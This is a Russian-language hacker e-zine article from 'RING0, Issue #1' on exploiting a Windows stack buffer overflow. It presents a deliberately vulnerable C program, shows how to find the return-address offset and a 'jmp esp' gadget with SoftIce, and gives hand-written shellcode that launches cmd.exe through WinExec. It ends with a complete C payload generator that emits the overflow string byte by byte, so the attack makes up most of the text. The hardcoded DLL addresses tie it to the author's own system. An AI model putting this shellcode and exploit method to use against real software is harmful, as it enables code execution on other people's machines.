/*-----------------------------------------------------------------------*/
 /*                       R I N G 0,    I S S U E   # 1                   */
 /*-----------------------------------------------------------------------*/

                         Stack Overflows in Action

                                                         by  buLLet/UINC

      1. Header

     Сразу   хочу   предупредить,   что   данный  шелл  не  совершенен и
максимально  упрощен,  к  примеру  вместо  получения  адреса необходимых
функций  с  помощью  пары LoadLibrary/GetProcAddress используются прямые
ссылки,  что  локализирует  действие  данного  шелла  на  те системы, на
которых  адреса,  зашитые в шелл совпадут с реальными адресами функций в
DLL.  Очевидно от чего это зависит - если Windows загрузит DLL по другой
базе, то шелл вылетит с сообщением об ошибке.

 ...где  0х77е8898b адрес jmp esp в kernel32.dll в моей системе.

     Поэтому  в  данном  шелле  подбор адресов должен производится чисто
индивидуально  для  каждой  системы.  Далее  я  опишу как определять эти
адреса.  Зачем  так  стараться?  ИМХО:  это  улучшит  навыки  любого кто
самостоятельно  найдет  нужный  адрес своим девайсом(то есть ручками). А
вообще нужно действовать несколько иначе: для особо продвинутых подскажу
идеи:

      а) Использовать ссылки из таблицы импорта
      б) Использовать LoadLibrary/GetProcAddress
      Но эта тема будет обсуждаться в других статьях.
      Начнем...

      2. Sections
      Пишем собственную прогу вида

"owerflow.c"
#include <stdio.h>
#include <string.h>
int test(char *big)
{
      char buffer[100];  // переполняемый буфер
      strcpy(buffer,big);// собственно само переполнение
      return 0;
}
int main ()
{
        char big[512];
        gets(big); // получение текствой строки-сюда-то мы и передаем наш
шелл
        test(big); // вызов уязвимой функции
    return 0;
}
     В  этом  коде  нет ничего сверхъестественного, а потому идем далее.
Как  определить,  что  переполняется,  где  переполняется  и  чего  куда
передавать?     Элементарно!    Берем,    запускаем    нашу    программу
owerflow.exe(для  танкистов  -  owerflow.exe получается путем компиляции
owerflow.c  )  и  передаем  ей  строку  вида: Аааааа.........ааааааааа -
где-то примерно символов 110 для уверенности. И что мы видим?

     Доигрались  - скажете вы. А на самом-то деле все отлично прошло, вы
взорвали  буфер  и  как  результат(об этом я и упоминал в первой части),
перезаписали адрес возврата из функции кодом 0х61(тоесть символом 'a').

     А  теперь  я вас хочу спросить: кто мешает вам вместо бессмысленных
строк символов передать строку опкодов, которая получила гордое название
шелл-кода? Никто! При внимательном рассмотрении сложившейся ситуации под
четким  оком  SoftIce,  легко  понять что произошло: благодаря специфике
стека  наша  строка  затерла  собой  как сохраненное значение ebp, так и
адрес возврата.

     Обратите  внимание,  что  адрес возврата затирается 104,105,106,107
символами нашей строки(это видно тогда, когда вместо ааа..аааа передется
последовательность символов с ASCII кодами начиная с 32 по 256), поэтому
необходимо сформировать строку так, чтобы 104-107 байты содержали адрес,
по  которому  нужно передать управление. Теперь выясним это самый адрес,
но  сперва  замечу,  что  байты  с  100  по  103 перекрывают сохраненное
значение  EBP  -  это  нам тоже пригодится для формирования стэка, но об
этом позже.

     Посмотрев  в SoftIce содержимое регистра esp в момент переполнения,
легко   установить,   что  там  содержится  адрес  байта  нашей  строки,
следующего  за  последним  из  четырех  байтов,  перекрывающих  EIP. Сие
означает следующее:

                 (*)                 (**)                 (***)
      1 <-------------------> N -------------- N+4 ------------------- M
                                                ^
                                                |
                                               ESP

     (*)  -  Символы,  заполняющие  буфер-приемник  и  потому не имеющие
значения, их заполним NOP
     (**)  -  Эти 4 байта начиная с N и заканчивая N+3 перекрывают собой
EIP.  Поэтому  для корректного исполнения шелл-кода они должны содержать
адрес,  по  которому  размещается  первый  байт нашего шелла, либо адрес
инструкции, переводящий процессор на исполнение этого первого байта.
     (***)  -  Начиная  с N+4 и до M идут опкоды, которые и составят наш
шелл.

     С помощью SoftIce удалось установить, что нужный нам адрес перехода
содержится  в ESP после исполнения RET в вызываемой функции test -> если
переполнить буфер при запущенном SoftIce, то во всплывшем окне отладчика
нужно   просто   просмотреть   значения   регистров  и  командой  D  esp
просмотреть содержимое памяти по адресу в esp, там мы увидим нашу строку
начиная с N+4.

     Отлично!   Осталось   заполнить  строку,  начиная  со  108-позиции,
опкодами  и  передать  управление  по  адресу  в  esp.  Для  этого снова
переполним  программу  при  запущенном  Sice  и когда он всплывет введем
команду:

      :S 10000000 l ffffffff FF e4
     где 10000000-ffffffff-диапазон поиска, а FF e4-опкод инструкции jmp
esp
      получим:
     ;Pattern found at xxxxxxxx <- этот адрес может отличаться(у меня он
равен 77e98601, что соответствует ntdll.dll).

     Мы  определили  адрес  jmp  esp-теперь  мы  передадим  этот адрес в
позиции  104-107  и  получим,  что  при переполнении в eip будет помещен
адрес  инструкции  jmp  esp  из  ntdll.dll,  которая и перебросит нас на
108-позицию нашей строки.

     Осталось  эту  самую  строку  наполнить  опкодами. В качестве шелла
обычно  используют  код,  реализующий  загрузку  консоли(для  виндов это
аналогично окну Command Prompt). Для этого составим программу на C:

"winexec.c"
#include <windows.h>
typedef (*PFUNK)(char*,DWORD);
int main ()
{
HMODULE hDll=LoadLibrary("kernel32.dll");
        PFUNK pFunc=(PFUNK) GetProcAddress(hDll,"WinExec");
        (*pFunc)("cmd.exe //K start cmd.exe",SW_SHOW);
}
     WinExec  исполняет программу, требует 2 параметра и располагается в
kernel32.dll. Все это работает потому, что kernel32.dll использует любая
программа  и  потому,  что  адрес  не  содержит  нулевых байтов, наличие
которых недопустимо. В переменной pFunc получим адрес WinExec, у каждого
он  будет  свой.  Теперь  нам  нужно  сформировать  асм-код,  вызывающий
WinExec. Вот он:

__asm {
        mov esp,ebp ;формируем пролог
        push ebp
        mov ebp,esp
        mov esi,esp
        xor edi,edi;формируем завершающие нули
        push edi
        sub esp,18h//освобождаем в стэке место под строку
        //стэк должен всегда быть выровнян на границу кратную 4
        //для обеспечения  гранулярности
        mov byte ptr [ebp-1ch],63h //'c'//пулим в стэк строку
        mov byte ptr [ebp-1bh],6Dh //'m'
        mov byte ptr [ebp-1ah],64h //'d'
        mov byte ptr [ebp-19h],2Eh //'.'
        mov byte ptr [ebp-18h],65h //'e'
        mov byte ptr [ebp-17h],78h //'x'
        mov byte ptr [ebp-16h],65h //'e'
        mov byte ptr [ebp-15h],20h //' '
        mov byte ptr [ebp-14h],2fh //'/'
        mov byte ptr [ebp-13h],4bh //'K'
        mov byte ptr [ebp-12h],20h //' '
        mov byte ptr [ebp-11h],73h //'s'
        mov byte ptr [ebp-10h],74h //'t'
        mov byte ptr [ebp-0fh],61h //'a'
        mov byte ptr [ebp-0eh],72h //'r'
        mov byte ptr [ebp-0dh],74h //'t'
        mov byte ptr [ebp-0ch],20h //' '
        mov byte ptr [ebp-0bh],63h //'c'
        mov byte ptr [ebp-0ah],6dh //'m'
        mov byte ptr [ebp-09h],64h //'d'
        mov byte ptr [ebp-08h],2Eh //'.'
        mov byte ptr [ebp-07h],65h //'e'
        mov byte ptr [ebp-06h],78h //'x'
        mov byte ptr [ebp-05h],65h //'e'
        //поместить в eax адрес winexec полученный из pFunc
        mov eax, 0x77e98601
        //поместить в стэк адрес winexec
        push eax
        //передаем параметр SW_SHOW
        push 05
        //передаем адрес строки
        lea eax,[ebp-1ch]
        push eax
        //ExitProcess в eax
        mov eax,0x77e9b0bb
        push eax //устанавливаем адрес возврата
        mov eax, 0x77e98601
        //перейти на точку входа  winexec
        jmp eax         }

      Теперь стэк имеет такой вид:

      @ExitProcess << адрес возврата из WinExec (DWORD)  <------- ESP
      _______________________________________________________________
      @строки, которую мы сформировали в стеке  (DWORD)
      _______________________________________________________________
      0005         << параметр WinExec SW_SHOW
      _______________________________________________________________
      @WinExec     << адрес WinExec             (DWORD)
      _______________________________________________________________
      "cmd.exe /K cmd.exe" << строка, сформированная сплоитом в стеке
                              для WinExec       (DWORD * 6)
      _______________________________________________________________
      EDI содержит выравнивающие нули (три байта) и заверщающий NULL
      для строки                                (DWORD)  <------- EBP


     Этот  код  проверялся  в  Visual  C++6.0 и все работает отлично. Ну
теперь осталось сформировать строку из опкодов. А где их взять? Да в том
же  Visual  C++  Debugger.  Просто  при трассировке из контекстного меню
выберите  опцию Code Bytes при включенном Disassembly mode и вы получите
необходимые опкоды. Осталось только собрать все воедино:

"overflower.c"
#include <stdio.h>
int  main()
{
        int i;
        char buf[256];
//ЗАПОЛНЯЕМ БУФЕР NOP
    for (i=0;i<100;i++)
                buf[i]=0x90;
        // Перекрыть ebp адресом начала нашего строкового буфера,
        // чтобы потом использовать его под стек, адрес передается
        // через xor чтобы затереть нули. Затем инструкцией
        // xor ebp,0xffffffff восстанавливаем первоначальный адрес
        buf[100]=0x3f;
        buf[101]=0x01;
        buf[102]=0xed;
        buf[103]=0xff;
        //поместить адрес инструкции jmp esp
        //расположенной в ntdll.dll по адресу 77f8948B
        //в те 4 байта которые перекрывают eip
        buf[104]=0x8b;
        buf[105]=0x94;//89;
        buf[106]=0xf8;//e8;
        buf[107]=0x77;

        buf[108]=0x90;
     //xor  ebp,0xffffffff  <-формируем министек для последующего вызова
winexec
        buf[109]=0x83;
        buf[110]=0xf5;
        buf[111]=0xff;
        //****************
        //mov esp,ebp
        buf[112]=0x8b;
        buf[113]=0xe5;
        //******************
        //push ebp
        buf[114]=0x55;
        //mov ebp,esp
        buf[115]=0x8b;
        buf[116]=0xec;
        //xor edi,edi
        buf[117]=0x33;
        buf[118]=0xff;
        //push edi
        buf[119]=0x57;
        //sub esp,18h
        buf[120]=0x83;
        buf[121]=0xec;
        buf[122]=0x18;
        //**********************************
        //создание строки на стеке         *
        //mov byte ptr [ebp-19h],63h 'c'
        buf[123]=0xc6;
        buf[124]=0x45;
        buf[125]=0xe4;
        buf[126]=0x63;
        //mov byte ptr [ebp-18h],6dh 'm'
        buf[127]=0xc6;
        buf[128]=0x45;
        buf[129]=0xe5;
        buf[130]=0x6d;
        //mov byte ptr [ebp-17h],64h 'd'
        buf[131]=0xc6;
        buf[132]=0x45;
        buf[133]=0xe6;
        buf[134]=0x64;
        //mov byte ptr [ebp-16h],2eh '.'
        buf[135]=0xc6;
        buf[136]=0x45;
        buf[137]=0xe7;
        buf[138]=0x2e;
        //mov byte ptr [ebp-15h],65h 'e'
        buf[139]=0xc6;
        buf[140]=0x45;
        buf[141]=0xe8;
        buf[142]=0x65;
        //mov byte ptr [ebp-14h],78h 'x'
        buf[143]=0xc6;
        buf[144]=0x45;
        buf[145]=0xe9;
        buf[146]=0x78;
        //mov byte ptr [ebp-13h],65h 'e'
        buf[147]=0xc6;
        buf[148]=0x45;
        buf[149]=0xea;
        buf[150]=0x65;

        //mov byte ptr [ebp-12h],20h ' '
        buf[151]=0xc6;
        buf[152]=0x45;
        buf[153]=0xeb;
        buf[154]=0x20;

        //mov byte ptr [ebp-11h],2fh '/'
        buf[155]=0xc6;
        buf[156]=0x45;
        buf[157]=0xec;
        buf[158]=0x2f;
        //mov byte ptr [ebp-10h],4bh 'K'
        buf[159]=0xc6;
        buf[160]=0x45;
        buf[161]=0xed;
        buf[162]=0x4b;

        //mov byte ptr [ebp-0fh],20h ' '
        buf[163]=0xc6;
        buf[164]=0x45;
        buf[165]=0xee;
        buf[166]=0x20;

        //mov byte ptr [ebp-0eh],73h 's'
        buf[167]=0xc6;
        buf[168]=0x45;
        buf[169]=0xef;
        buf[170]=0x73;
        //mov byte ptr [ebp-0dh],74h 't'
        buf[171]=0xc6;
        buf[172]=0x45;
        buf[173]=0xf0;
        buf[174]=0x74;
        //mov byte ptr [ebp-0ch],61h 'a'
        buf[175]=0xc6;
        buf[176]=0x45;
        buf[177]=0xf1;
        buf[178]=0x61;
        //mov byte ptr [ebp-0bh],72h 'r'
        buf[179]=0xc6;
        buf[180]=0x45;
        buf[181]=0xf2;
        buf[182]=0x72;
        //mov byte ptr [ebp-0ah],74h 't'
        buf[183]=0xc6;
        buf[184]=0x45;
        buf[185]=0xf3;
        buf[186]=0x74;

        //mov byte ptr [ebp-9],20h ' '
        buf[187]=0xc6;
        buf[188]=0x45;
        buf[189]=0xf4;
        buf[190]=0x20;

        //mov byte ptr [ebp-8],63h 'c'
        buf[191]=0xc6;
        buf[192]=0x45;
        buf[193]=0xf5;
        buf[194]=0x63;
        //mov byte ptr [ebp-7],6dh 'm'
        buf[195]=0xc6;
        buf[196]=0x45;
        buf[197]=0xf6;
        buf[198]=0x6d;
        //mov byte ptr [ebp-6],64h 'd'
        buf[199]=0xc6;
        buf[200]=0x45;
        buf[201]=0xf7;
        buf[202]=0x64;
        //mov byte ptr [ebp-5],2eh '.'
        buf[203]=0xc6;
        buf[204]=0x45;
        buf[205]=0xf8;
        buf[206]=0x2e;
        //mov byte ptr [ebp-4],65h 'e'
        buf[207]=0xc6;
        buf[208]=0x45;
        buf[209]=0xf9;
        buf[210]=0x65;
        //mov byte ptr [ebp-3],78h 'x'
        buf[211]=0xc6;
        buf[212]=0x45;
        buf[213]=0xfa;
        buf[214]=0x78;
        //mov byte ptr [ebp-2],65h 'e'
        buf[215]=0xc6;
        buf[216]=0x45;
        buf[217]=0xfb;
        buf[218]=0x65;
        //*************************************
        //mov eax,77 e9 86 01h <-Winexec address
        buf[219]=0xb8;
        buf[220]=0x01;
        buf[221]=0x86;
        buf[222]=0xe9;
        buf[223]=0x77;
        //push eax
        buf[224]=0x50;

        //push 05 <-SW_SHOW_NORMAL
        buf[225]=0x6a;
        buf[226]=0x05;

        //lea eax,[ebp-1ch] <-адрес строки
        buf[227]=0x8d;
        buf[228]=0x45;
        buf[229]=0xe4;
        //push eax
        buf[230]=0x50;
        //эмулируем call dword ptr [ebp-0ch]
        //для этого формируем адрес возврата и пушим его
        //а затем просто джампим на eax в котором адрес аналог.[ebp-0ch]
        //таким образом прыгаем на winexec, которая возвращает
        //управление на ExitProcess

        //mov eax,0x77e8f32d <-ExitProcess
        buf[231]=0xb8;
        buf[232]=0x2d;
        buf[233]=0xf3;
        buf[234]=0xe8;
        buf[235]=0x77;
        //push eax <-сделать адресом возврата адрес переданный в eax
        buf[236]=0x50;
        //mov eax,0x77e8f32d <-WinExec address
        buf[237]=0xb8;
        buf[238]=0x01;
        buf[239]=0x86;
        buf[240]=0xe9;
        buf[241]=0x77;
        //jmp eax <-выполнить WinExec
        buf[242]=0xff;
        buf[243]=0xe0;
        //ПЕРЕДАТЬ СТРОКУ В ПЕРЕПОЛНЯЕМЫЙ БУФЕР
        for(i=0;i<256;i++)
        {
                printf("%c",buf[i]);
        }


}
     Ну  вот  вроде  и все. Единственное: добавлю про ebp - этот регистр
играет важную роль в нашем нелегком деле. Нужно где-то формировать стэк,
но  где?  А  почему не использовать под стэк наш буфер, заполненный NOP?
Так  и  забилдим, под SoftIce посмотрим содержимое ESP и отнимем от него
64h  либо  зададим  искать строку 0х9090909090 - кто как желает, главное
найти адрес начала буфера.

     Затем  этот  адрес  поместим в EBP (помните в начале я акцентировал
внимание  на  том,  что  байты  с  100 по 103 перекрывают ebp - ну так и
поместим  найденный  адрес  в  эти  байты  предварительно удалив из него
нули).  А  как?  Да  очень  просто  - сделать Исключающее ИЛИ в терминах
булевой  алгебры,  либо по-простому XOR. Тоесть иксорим начальный адрес,
передаем  в  ebp, а затем в шелле снова делаем XOR EBP,0xFFFFFFFF и все!
Теперь у нас есть стек.

     Недостатками  данного  шелла  являются  прямые  ссылки  на функции,
возможно  я  поправлю  эти  фичи  и запортирую новый шелл, гораздо более
универсальный.

     Happy END

     Выражаю  огромное спасибо за ПОМОЩЬ Андрею Колищаку, статья котрого
лежит здесь: http://www.hackzone.ru/articles/ntbo.html